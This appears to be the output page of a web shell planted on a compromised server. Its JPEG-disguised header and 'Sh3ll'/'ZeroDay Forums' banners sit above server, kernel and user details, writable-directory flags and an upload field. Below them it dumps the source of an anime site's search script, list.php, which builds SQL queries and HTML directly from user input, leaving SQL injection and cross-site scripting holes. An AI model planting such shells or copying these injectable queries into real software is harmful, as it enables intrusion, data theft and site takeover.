ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/okanime.top/code/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/okanime.top/code/search/list.php
<?php
$f = $CORE->input['f'] ?? array();
$where = " AND truyen_active_status='Active' AND truyen_sochuong is not NULL ";
$order_by = ' time_post DESC ';
$txt_card_title = 'Lastest anime updates';
$genres_name =$param_search='';
$txt_breadcrumb='<li class="breadcrumb-item active" aria-current="page">Search anime</li>';
foreach($f as $key=>$val){
    if(isset($val) and trim($val)!='') {
        if ($key == 'status') {
            if ($val == 'all') {
                $txt_card_title = 'All ';
            }
            if ($val == 'complete') {
                $where .= " AND truyen_status='Complete' ";
                $txt_card_title = 'Complete ';
            }
            if ($val == 'in-process') {
                $where .= " AND truyen_status='In process' ";
                $txt_card_title = 'In process ';
            }
            if ($val == 'pause') {
                $where .= " AND truyen_status='Pause' ";
                $txt_card_title = 'Pause ';
            }
        }
        if($key=='genres'){
            $val = trim($val);
            $where .= " AND truyen_ftheloai LIKE '%".$val."@%' ";
            $row_menu = $DB->fetch_row($DB->query("SELECT menus_name, menus_des FROM tb_menus  WHERE menus_fname='$val' "));
            $genres_name = $row_menu['menus_name'];
            if($row_menu['menus_des']!=''){
                $genres_name .= ' ('.$row_menu['menus_des'].')';
            }
            $txt_card_title = $row_menu['menus_name'];

        }
        if($key=='author'){
            $val = trim($val);
            $where .= " AND truyen_tacgia LIKE '%".$val."@%' ";
            $row_author = $DB->fetch_row($DB->query("SELECT author_name FROM tb_author WHERE author_fname='$val' "));
            $txt_card_title = 'Author '.$row_author['author_name'];
        }
        if ($key == 'keyword') {
            $val = trim($val);
            $where .= " AND (truyen_name LIKE '%" . $val . "%' OR truyen_fname LIKE '%" . $val . "%' OR truyen_othername LIKE '%" . $val . "%') ";
            $txt_card_title .= ' - Keyword: '.$val;
            $txt_breadcrumb = '<li class="breadcrumb-item"><a href="?act=search&f[status]=all';
            if(isset($f['sortby'])){
                $txt_breadcrumb.= '&f[sortby]='.$f['sortby'];
            }
                            if(isset($f['genres'])){
                                $txt_breadcrumb .= '&f[genres]='.$f['genres'];}
            $txt_breadcrumb.= '">Search manga</a></li><li class="breadcrumb-item active" aria-current="page">Keyword: '.$val.'</li>';
        }
        if ($key == 'sortby') {
            if ($val == 'lastest-chap') {
                $order_by = " time_update DESC ";
                $txt_card_title .= ' lastest episode update';
            }
            if ($val == 'hot') {
                $order_by = " truyen_hot DESC,time_post DESC ";
                $txt_card_title .= ' hot anime update';
            }
            if ($val == 'lastest-manga') {
                $order_by = " time_post DESC ";
                $txt_card_title .= ' lastest anime update';
            }
            if ($val == 'top-all') {
                $order_by = " truyen_hit DESC,truyen_hitthang DESC,truyen_hittuan DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most views updated';
            }
            if ($val == 'top-manga') {
                $order_by = " truyen_hit DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most views';
            }
            if ($val == 'top-month') {
                $order_by = " truyen_hitthang DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most views in month';
            }
            if ($val == 'top-week') {
                $order_by = " truyen_hittuan DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most views in week';
            }
            if ($val == 'top-day') {
                $order_by = " truyen_hitngay DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most views in day';
            }
            if ($val == 'follow') {
                $order_by = " truyen_theodoi DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most follow';
            }
            if ($val == 'comment') {
                $order_by = " truyen_hitcomment DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most comment';
            }
            if ($val == 'num-chap') {
                $order_by = " truyen_sochuong DESC,time_post DESC ";
                $txt_card_title .= 'anime with the most num. episode';
            }
        }
        $param_search .= 'f[' . $key . ']=' . trim($val) . '&';
    }
}

$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 35;
$from = (($pageNum * $pageSize) - $pageSize);
$key_total_list_search = md5("SELECT count(*) as total FROM tb_truyen WHERE 3 ".$where);
if($memcache->get($key_total_list_search)){
    $total = $memcache->get($key_total_list_search);
}else {
    $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_truyen WHERE 1 " . $where));
    $total = $t['total'];
    $memcache->set($key_total_list_search, $total, MEMCACHE_COMPRESSED, 600);
}
$totalPage = ceil($total / $pageSize);
$key_list_search = md5("SELECT * FROM tb_truyen WHERE 3 ".$where." ORDER BY ".$order_by." LIMIT 1 $from, $pageSize");
if($memcache->get($key_list_search)){
    $list = $memcache->get($key_list_search);
}else {
    $query = $DB->query("SELECT * FROM tb_truyen WHERE 1 " . $where . " ORDER BY " . $order_by . " LIMIT $from, $pageSize");
    $list = '';
    while ($row = $DB->fetch_row($query)) {
        $truyen_othername = ($row['truyen_othername'] != '') ? $row['truyen_othername'] : 'Updating';
        $list_chap = '';
        $txt_new = date('F j, Y', strtotime($row['truyen_chuong_moinhat_time']));
        if ((time() - strtotime($row['truyen_chuong_moinhat_time'])) < 86400) {
            $txt_new = '<span class="text-danger">New</span>';
        }
        $txt_new2 = date('F j, Y', strtotime($row['truyen_chuong_moinhi_time']));
        if ((time() - strtotime($row['truyen_chuong_moinhi_time'])) < 86400) {
            $txt_new2 = '<span class="text-danger">New</span>';
        }
        if(!empty($row['truyen_chuong_moinhat_lock']) and strtotime($row['truyen_chuong_moinhat_lock'])>time()){
            $txt_new = '<span class="text-warning"><i class="fas fa-crown"></i></span>';
        }
        if(!empty($row['truyen_chuong_moinhi_lock']) and strtotime($row['truyen_chuong_moinhi_lock'])>time()){
            $txt_new2 = '<span class="text-warning"><i class="fas fa-crown"></i></span>';
        }
        $list_chap .= '<li class="list-group-item-custom list-group-item"><a href="/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/' . $row['truyen_chuong_moinhat_fname'] . '-' . $row['truyen_chuong_moinhat_id'] . '/" class="text-secondary list-2-chap" title="' . $row['truyen_chuong_moinhat_name'] . '">' . $row['truyen_chuong_moinhat_name'] . '</a> <span class="blockquote-footer"><cite title="' . $row['truyen_chuong_moinhat_name'] . '">' . $txt_new . '</cite></span></li>';
        $list_chap .= '<li class="list-group-item-custom list-group-item"><a href="/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/' . $row['truyen_chuong_moinhi_fname'] . '-' . $row['truyen_chuong_moinhi_id'] . '/" class="text-secondary list-2-chap" title="' . $row['truyen_chuong_moinhi_name'] . '">' . $row['truyen_chuong_moinhi_name'] . '</a> <span class="blockquote-footer"><cite title="' . $row['truyen_chuong_moinhi_name'] . '">' . $txt_new2 . '</cite></span></li>';
        $txt_update = date('F j, Y', strtotime($row['truyen_chuong_moinhat_time']));
        /*$title_tooltip = '<div class="box_tootip" style="display:none;" id="manga-tooltip-' . $row['truyen_id'] . '">
<div class="box_li">
<div class="title">' . $row['truyen_name'] . '</div>
<div class="clearfix">
<div class="box_img">
<a title="' . $row['truyen_name'] . '" href="/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/">
<img class="img_a" src="' . $row['truyen_thumb'] . '" alt="' . $row['truyen_name'] . '">
</a>
</div>
<div class="message_main">
<p><label>Alternative:</label>' . $truyen_othername . '</p>
<p><label>Genres:</label>' . $row['truyen_theloai'] . '</p>
<p><label>Status:</label>' . $row['truyen_status'] . '</p>
<p><label>View:</label>' . shortNumber(intval($row['truyen_hit'])) . '</p>
<p>
<label>Comment:</label>' . shortNumber(intval($row['truyen_hitcomment'])) . '</p>
<p>
<label>Follow:</label>' . shortNumber(intval($row['truyen_theodoi'])) . '</p>
<p>
<label>Updated:</label>' . $txt_update . '</p>
</div>
</div>
<div class="box_text">' . strip_tags(html_entity_decode($row['truyen_noidung'])) . '</div>
</div>
</div>';*/
        /*$list .= '<div class="col-lg-3 col-md-4 col-sm-4 col-6 video position-relative mb-2">
                            <div class="card">
                                <div class="view clearfix">
<span class="pull-left">
<i class="far fa-eye">
</i> ' . shortNumber($row['truyen_hit']) . ' <i class="far fa-comment"></i> ' . shortNumber($row['truyen_hitcomment']) . ' <i class="far fa-heart"></i> ' . shortNumber($row['truyen_theodoi']) . ' </span>
                                </div>
                                <a href="/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/"><img src="' . $row['truyen_thumb'] . '" class="jtip card-img-top" alt="' . $row['truyen_name'] . '" data-jtip="#manga-tooltip-' . $row['truyen_id'] . '"></a>
                                <div class="card-body list-left-8-manga">
                                    <p class="card-text title-manga"><a href="/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/" class="jtip text-body" data-jtip="#manga-tooltip-' . $row['truyen_id'] . '">' . $row['truyen_name'] . '</a></p>
                                </div>
                                <ul class="list-group list-group-flush" style="font-size: 12px;">
                                ' . $list_chap . '
                                </ul>
                            </div>
                        </div>';*/
        //$list .= $title_tooltip;
        $list .= '<li class="TPostMv">
                            <article class="TPost C post-' . $row['truyen_id'] . ' post type-post status-publish format-standard has-post-thumbnail hentry">
                                <a href="/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/" title="' . $row['truyen_name'] . '">
                                    <div class="Image">
                                        <figure class="Objf TpMvPlay AAIco-play_arrow"><img width="215" height="320" src="' . $row['truyen_thumb'] . '" class="attachment-thumbnail size-thumbnail wp-post-image" alt="">
                                        </figure>
                                        <span class="mli-eps">' . $row['truyen_chuong_moinhat_name'] . '</span>
                                        <div class="anime-extras">
                                            <div class="anime-avg-user-rating"><i class="fa fa-star"></i>' . $row['truyen_danhgia'] . '
                                            </div>
                                        </div>
                                    </div>
                                    <h2 class="Title">' . $row['truyen_name'] . '</h2> <span class="Year">View ' . shortNumber($row['truyen_hit']) . '</span>
                                </a>
                            </article>
                        </li>';
    }
    $memcache->set($key_list_search, $list, MEMCACHE_COMPRESSED, 600);
}
$nav = $print->Pagination($totalPage,$pageNum,'pages','?act=search&'.$param_search);
$CORE->title_page = $txt_card_title;
$cur_url = $func->current_url();
?>

ZeroDay Forums Mini